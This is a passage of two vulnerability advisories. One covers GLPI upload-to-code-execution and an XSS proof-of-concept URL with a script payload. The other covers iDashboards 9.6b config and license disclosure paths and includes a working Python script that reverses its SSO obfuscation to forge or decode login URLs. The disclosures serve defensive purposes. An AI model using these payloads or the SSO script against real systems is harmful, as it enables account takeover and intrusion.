In any case, we consider this behaviour as a vulnerability because:
- Looping over the upload method allows to see the file really exists.
- PHP manual says about uniqid function: “This function does not create random nor unpredictable strings. This function must not be used for security purposes. Use a cryptographically secure random function/generator and cryptographically secure hash functions to create unpredictable secure IDs.”
With these two considerations we suggest to fix this vulnerability in the latest version too.
Moreover, we are able to create a PoC also on the latest version without the “more entropy” flag.
From 9.1 version and below, this vulnerability can be easily exploited because the filename is well known (set by the attacker).
We have created an exploit that allows to spawn a shell for the previous versions:
https://github.com/bowline90/RemoteCodeUploadGLPI
2. Cross Site Scripting (CVE-2018-7562)
The application is affected by XSS Vulnerability. An attacker is able to create a malicious URL that if it will be opened by an authenticated user with debug privilege, then the client will execute JavaScript code supplied by the attacker.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim’s session token or login credentials, performing arbitrary actions on the victim’s behalf, and logging their keystrokes.
PoC:
<URL>/front/preference.php?test%3d%22%3e%3Cscript%3Ealert(1)%3C/script%3E
IV. BUSINESS IMPACT
These flaws may compromise the integrity of the system and/or expose sensitive information. A skilled attacker is able to obtain a shell on the remote server.
V. SYSTEMS AFFECTED
GLPI v9.2.1 is vulnerable and all previous versions.
VI. VULNERABILITY HISTORY
February 19th, 2018: Vulnerability identification
February 28th, 2018: Vendor notification
February 28th 2018: CVE-ID reserved
March 1st, 2018: XSS fix (https://github.com/glpi-project/glpi/pull/3647)
VII. LEGAL NOTICES
The information contained within this advisory is supplied “as-is” with no warranties or guarantees of fitness of use or otherwise. We accept no responsibility for any damage caused by the use or misuse of this information.
iDashboards 9.6b, Multiple Vulnerabilities
# Authors: Andrea Ferraris, Raffaele Forte
# Vendor Homepage: https://www.idashboards.com/
# Version: 9.6b and earlier
I. INTRODUCTION
iDashboard is a closed-source system that allows to visualize data in form of graph.
II. DESCRIPTION
The web application suffers from multiple vulnerabilities.
1. Sensitive Data Exposure
Using specific paths an unauthenticated user can obtain various information about the system.
a. Configuration Disclosure (CVE-2018-7209)
Using this URL “https://<url>/idashboards/config.xml” it is possible to obtain information such as version, url, etc.:
[...] <serverURL>/idashboards/idb?CMD=$C$</serverURL> <dashReportURL>/idashboards/idb/reports/prep/d/$DASH_ID$/$FORMAT$/$INLINE$/</dashReportURL> <chartReportURL>/idashboards/idb/reports/prep/c/$CHART_ID$-$DASH_ID$/$FORMAT$/$INLINE$/</chartReportURL> <serverRoot>/idashboards/</serverRoot> [...] <version>9.6b</version> <productID>9.6b-181217101653-160.45</productID> <companyName>XXX snc | XXX </companyName> [...] <adminUrl>http://XXXXXXX:6700/idashboards/admin/</adminUrl> [...]
b. License information disclosure (CVE-2018-7210)
In order to install the license in the application, the administrator should go to “https://<url>/idb/config?CMD=installLicense”.
If the license is already applied, this page is reachable from unauthenticated user. In this case, an attacker can obtain information about the system (type of license, internal IP address, ecc.) and guest accounts (if present):
Licensed to: XXX snc License expires: Never Licensed CPUs: Unlimited Number of named users: 51 Number of concurrent users: 51 Guest users: guest Licensed IP Addresses: 10.1.1.7 Licensed Domain(s): Server Name: XXXDASHBOARDS Server IP Address: 10.1.1.7 Server CPUs: 8 License type: XXX-XX-XXXX
2. Reverse engineering of SSO obfuscation (CVE-2018-7211)
As AdminManual said the SSO obfuscation is weak:
The iDashboards obfuscation library uses a proprietary, weak two-way encryption algorithm to obfuscate text. It is possible that a resourceful attacker could reverse-engineer the algorithm and use it to obfuscate SSO login URLs, or decode obfuscated ones. Moreover, anyone with access to the idb_encrypt.jar file or idb_encrypt.dll, and the proper knowledge, could use it to obfuscate SSO login URLs.
It is possible to reverse engineering the algorithm as we can see in the PoC below:
[PoC_iDashboard.py]
import sys def encrypt(string): i=0 out="" for c in string: power=pow(2,i) if power == 256: i=0 power=pow(2,i) i+=1 val=ord(c) k=val // power if k % 2 == 0: val+=power else: val-=power out+=str(hex(val)).replace('0x','') #print "Power:"+str(power)+" - Before:"+str(hex(ord(c)))+" - After:"+str(hex(val)) return out def decrypt(string): i=0 k=0 array=[] l=len(string)-1 while k < l: array.append(int(string[k:k+2],16)) k+=2 out="" for c in array: power=pow(2,i) if power == 256: i=0 power=pow(2,i) i+=1 val=c k=val // power if k % 2 == 0: val+=power else: val-=power out+=chr(val) #print "Power:"+str(power)+" - Before:"+str(hex(c))+" - After:"+str(hex(val))+ " - Char:"+chr(val) return out def main(args): if len(args)<3: print "Usage: "+args[0]+ " " +" string" return if args[1] == 'd': o=decrypt(args[2]) elif args[1] == 'e': o=encrypt(args[2]) print o if __name__=='__main__': main(sys.argv)
IV. BUSINESS IMPACT
These flaws may compromise the integrity of the system and/or expose sensitive information.
Moreover, SSO reverse engineer allows to obtain user and password with a MiTM position.
V. SYSTEMS AFFECTED
iDashboard v9.6b is vulnerable (probably all previous versions)
VI. VULNERABILITY HISTORY
January 30th, 2018: Vulnerability identification
February 16th, 2018: Vendor notification
February 18th, 2018: CVE-ID reserved
VII. LEGAL NOTICES
The information contained within this advisory is supplied “as-is” with no warranties or guarantees of fitness of use or otherwise. We accept no responsibility for any damage caused by the use or misuse of this information.